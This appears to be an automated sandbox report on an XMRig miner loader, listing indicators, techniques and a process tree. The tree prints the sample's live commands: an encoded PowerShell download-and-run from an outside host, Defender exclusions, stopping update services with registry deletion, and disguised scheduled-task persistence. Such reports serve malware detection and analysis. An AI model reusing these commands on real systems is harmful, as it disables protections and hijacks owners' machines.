xmrig | 422dd590314ca25efb6376925c54fceed3d1b40500574b6f72b03fd2bd2fd558

Analysis

max time kernel
150s
max time network
140s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
29/10/2022, 13:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

C4Loader.exe
Size

605KB
MD5

36e7c18effa74eafc3deaa1ed610784d
SHA1

4db5ec9966bb4774e1f8454082e48685e4ef6c69
SHA256

422dd590314ca25efb6376925c54fceed3d1b40500574b6f72b03fd2bd2fd558
SHA512

98d0fff9607b5534c786503fa230554d134201b44b8134b1d796010f0f512d55e2214b7b11ec771703fab93039b953cc85da58239d11d5666ca54e5cb98de36e
SSDEEP

12288:roeWCLJztI8sLQ6givg4Nyz/DJVHEi2jfo3Rs30oEuQptT/MlK0Vvu4UgiTJ3:rpWCL48sLQ6gZvEiKfCRs3RELAO

Score

10^/10

xmrig evasion miner upx

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/memory/972-176-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/972-188-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	676	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	SmartDefRun.exe
File created	C:\Windows\system32\drivers\etc\hosts	SmartScreen.exe

Executes dropped EXE 6 IoCs

pid	Process
336	C4Loader.exe
1324	new2.exe
1828	SysApp.exe
596	SmartDefRun.exe
616	SmartScreen.exe
1048	fodhelper.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/972-176-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/972-188-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Loads dropped DLL 7 IoCs

pid	Process
676	powershell.exe
676	powershell.exe
676	powershell.exe
676	powershell.exe
676	powershell.exe
676	powershell.exe
1468	taskeng.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2032 set thread context of 980	2032	C4Loader.exe	27
PID 616 set thread context of 2028	616	SmartScreen.exe	73
PID 616 set thread context of 972	616	SmartScreen.exe	80

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreen.exe	SmartDefRun.exe
File created	C:\Program Files\Google\Libs\WR64.sys	SmartScreen.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
544	sc.exe
1572	sc.exe
1640	sc.exe
1884	sc.exe
1448	sc.exe
520	sc.exe
1900	sc.exe
840	sc.exe
900	sc.exe
2044	sc.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
364	schtasks.exe
2016	schtasks.exe
976	schtasks.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d09afb429aebd801	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
676	powershell.exe
676	powershell.exe
676	powershell.exe
676	powershell.exe
676	powershell.exe
676	powershell.exe
1828	SysApp.exe
1828	SysApp.exe
1828	SysApp.exe
1828	SysApp.exe
1828	SysApp.exe
884	powershell.exe
1664	powershell.exe
964	powershell.exe
744	powershell.exe
2032	powershell.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe
1048	fodhelper.exe
1048	fodhelper.exe
1048	fodhelper.exe
1048	fodhelper.exe
1048	fodhelper.exe
972	svchost.exe
972	svchost.exe
972	svchost.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	676	powershell.exe
Token: SeDebugPrivilege	884	powershell.exe
Token: SeDebugPrivilege	1664	powershell.exe
Token: SeDebugPrivilege	964	powershell.exe
Token: SeDebugPrivilege	744	powershell.exe
Token: SeDebugPrivilege	2032	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	1224	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1224	WMIC.exe
Token: SeSecurityPrivilege	1224	WMIC.exe
Token: SeTakeOwnershipPrivilege	1224	WMIC.exe
Token: SeLoadDriverPrivilege	1224	WMIC.exe
Token: SeSystemtimePrivilege	1224	WMIC.exe
Token: SeBackupPrivilege	1224	WMIC.exe
Token: SeRestorePrivilege	1224	WMIC.exe
Token: SeShutdownPrivilege	1224	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1224	WMIC.exe
Token: SeUndockPrivilege	1224	WMIC.exe
Token: SeManageVolumePrivilege	1224	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1224	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1224	WMIC.exe
Token: SeSecurityPrivilege	1224	WMIC.exe
Token: SeTakeOwnershipPrivilege	1224	WMIC.exe
Token: SeLoadDriverPrivilege	1224	WMIC.exe
Token: SeSystemtimePrivilege	1224	WMIC.exe
Token: SeBackupPrivilege	1224	WMIC.exe
Token: SeRestorePrivilege	1224	WMIC.exe
Token: SeShutdownPrivilege	1224	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1224	WMIC.exe
Token: SeUndockPrivilege	1224	WMIC.exe
Token: SeManageVolumePrivilege	1224	WMIC.exe
Token: SeLockMemoryPrivilege	972	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 980	2032	C4Loader.exe	27
PID 2032 wrote to memory of 980	2032	C4Loader.exe	27
PID 2032 wrote to memory of 980	2032	C4Loader.exe	27
PID 2032 wrote to memory of 980	2032	C4Loader.exe	27
PID 2032 wrote to memory of 980	2032	C4Loader.exe	27
PID 2032 wrote to memory of 980	2032	C4Loader.exe	27
PID 980 wrote to memory of 676	980	vbc.exe	28
PID 980 wrote to memory of 676	980	vbc.exe	28
PID 980 wrote to memory of 676	980	vbc.exe	28
PID 980 wrote to memory of 676	980	vbc.exe	28
PID 676 wrote to memory of 336	676	powershell.exe	30
PID 676 wrote to memory of 336	676	powershell.exe	30
PID 676 wrote to memory of 336	676	powershell.exe	30
PID 676 wrote to memory of 336	676	powershell.exe	30
PID 676 wrote to memory of 1324	676	powershell.exe	31
PID 676 wrote to memory of 1324	676	powershell.exe	31
PID 676 wrote to memory of 1324	676	powershell.exe	31
PID 676 wrote to memory of 1324	676	powershell.exe	31
PID 676 wrote to memory of 1828	676	powershell.exe	32
PID 676 wrote to memory of 1828	676	powershell.exe	32
PID 676 wrote to memory of 1828	676	powershell.exe	32
PID 676 wrote to memory of 1828	676	powershell.exe	32
PID 676 wrote to memory of 596	676	powershell.exe	33
PID 676 wrote to memory of 596	676	powershell.exe	33
PID 676 wrote to memory of 596	676	powershell.exe	33
PID 676 wrote to memory of 596	676	powershell.exe	33
PID 596 wrote to memory of 884	596	SmartDefRun.exe	34
PID 596 wrote to memory of 884	596	SmartDefRun.exe	34
PID 596 wrote to memory of 884	596	SmartDefRun.exe	34
PID 596 wrote to memory of 1384	596	SmartDefRun.exe	36
PID 596 wrote to memory of 1384	596	SmartDefRun.exe	36
PID 596 wrote to memory of 1384	596	SmartDefRun.exe	36
PID 596 wrote to memory of 1664	596	SmartDefRun.exe	38
PID 596 wrote to memory of 1664	596	SmartDefRun.exe	38
PID 596 wrote to memory of 1664	596	SmartDefRun.exe	38
PID 1384 wrote to memory of 1900	1384	cmd.exe	40
PID 1384 wrote to memory of 1900	1384	cmd.exe	40
PID 1384 wrote to memory of 1900	1384	cmd.exe	40
PID 1384 wrote to memory of 840	1384	cmd.exe	41
PID 1384 wrote to memory of 840	1384	cmd.exe	41
PID 1384 wrote to memory of 840	1384	cmd.exe	41
PID 1384 wrote to memory of 900	1384	cmd.exe	42
PID 1384 wrote to memory of 900	1384	cmd.exe	42
PID 1384 wrote to memory of 900	1384	cmd.exe	42
PID 1384 wrote to memory of 1572	1384	cmd.exe	43
PID 1384 wrote to memory of 1572	1384	cmd.exe	43
PID 1384 wrote to memory of 1572	1384	cmd.exe	43
PID 1384 wrote to memory of 1640	1384	cmd.exe	44
PID 1384 wrote to memory of 1640	1384	cmd.exe	44
PID 1384 wrote to memory of 1640	1384	cmd.exe	44
PID 1384 wrote to memory of 1884	1384	cmd.exe	45
PID 1384 wrote to memory of 1884	1384	cmd.exe	45
PID 1384 wrote to memory of 1884	1384	cmd.exe	45
PID 1384 wrote to memory of 988	1384	cmd.exe	46
PID 1384 wrote to memory of 988	1384	cmd.exe	46
PID 1384 wrote to memory of 988	1384	cmd.exe	46
PID 1384 wrote to memory of 1768	1384	cmd.exe	47
PID 1384 wrote to memory of 1768	1384	cmd.exe	47
PID 1384 wrote to memory of 1768	1384	cmd.exe	47
PID 1384 wrote to memory of 696	1384	cmd.exe	48
PID 1384 wrote to memory of 696	1384	cmd.exe	48
PID 1384 wrote to memory of 696	1384	cmd.exe	48
PID 1664 wrote to memory of 364	1664	powershell.exe	49
PID 1664 wrote to memory of 364	1664	powershell.exe	49

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:980
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAbQBoACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYQBsAHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAZgB6AHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQBsAGoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBuAGgAawAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGwAZgB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAdgBmACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB4AGkAbQAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAHUAbQBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcwB1AHQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcwBnAGgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwB6AHEAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHQAaQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGkAaQBlACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAZQBoACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAGwAaQB6ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwB4AHkAcwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAG4AYQBjACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGMAbgB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwB1AG0AYgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAG0AYwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwBpAHMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBhAGQAdgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGoAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaQBpAHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAbQBiAGQAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAcgB0AHUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGkAdABrACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwBiAHIAbgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBzAGoAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABpAGwAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBwAHUAYwAjAD4A"
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:676
  - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
      "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
      4⤵
      Executes dropped EXE
      PID:336
  - - C:\Users\Admin\AppData\Local\Temp\new2.exe
      "C:\Users\Admin\AppData\Local\Temp\new2.exe"
      4⤵
      Executes dropped EXE
      PID:1324
  - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
      "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1828
    - - C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:976
  - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
      "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
      4⤵
      Drops file in Drivers directory
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious use of WriteProcessMemory
      PID:596
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:884
    - - C:\Windows\system32\cmd.exe
        
        cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1384
      - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:1900
      - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:840
      - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:900
      - C:\Windows\system32\sc.exe
        
        sc stop bits
        6⤵
        Launches sc.exe
        
        PID:1572
      - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        6⤵
        Launches sc.exe
        
        PID:1640
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        6⤵
        
        PID:1884
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        6⤵
        
        PID:988
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        6⤵
        Modifies security service
        
        PID:1768
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        6⤵
        
        PID:696
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        6⤵
        
        PID:2044
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#jwavoguhc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreen.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreen.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreen.exe' }
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1664
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreen.exe'"
        6⤵
        Creates scheduled task(s)
        
        PID:364
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#roibrwqv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "WindowsDefenderSmartScreenQC" } Else { "C:\Program Files\WindowsDefenderQC\Defender\SmartScreen.exe" }
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:964
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn WindowsDefenderSmartScreenQC
        6⤵
        
        PID:1192

C:\Windows\system32\taskeng.exe
taskeng.exe {E4811EC3-318E-4AAA-8B0F-8321F1CB1E75} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
PID:1468
- C:\Program Files\WindowsDefenderQC\Defender\SmartScreen.exe
  "C:\Program Files\WindowsDefenderQC\Defender\SmartScreen.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  PID:616
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:744
- - C:\Windows\system32\cmd.exe
    cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1200
  - - C:\Windows\system32\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:544
  - - C:\Windows\system32\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:1884
  - - C:\Windows\system32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:1448
  - - C:\Windows\system32\sc.exe
      sc stop bits
      4⤵
      Launches sc.exe
      PID:520
  - - C:\Windows\system32\sc.exe
      sc stop dosvc
      4⤵
      Launches sc.exe
      PID:2044
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
      4⤵
      PID:1792
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
      4⤵
      PID:1112
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
      4⤵
      PID:2024
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
      4⤵
      PID:1632
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:1384
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell <#jwavoguhc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreen.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreen.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreen.exe' }
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2032
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreen.exe'"
      4⤵
      Creates scheduled task(s)
      PID:2016
- - C:\Windows\system32\conhost.exe
    C:\Windows\system32\conhost.exe sbufbwjxvlorg
    3⤵
    PID:2028
  - - C:\Windows\system32\cmd.exe
      cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
      4⤵
      Drops file in Program Files directory
      PID:1536
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic PATH Win32_VideoController GET Name, VideoProcessor
        5⤵
        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:1224
- - C:\Windows\system32\cmd.exe
    cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
    3⤵
    - Drops file in Program Files directory
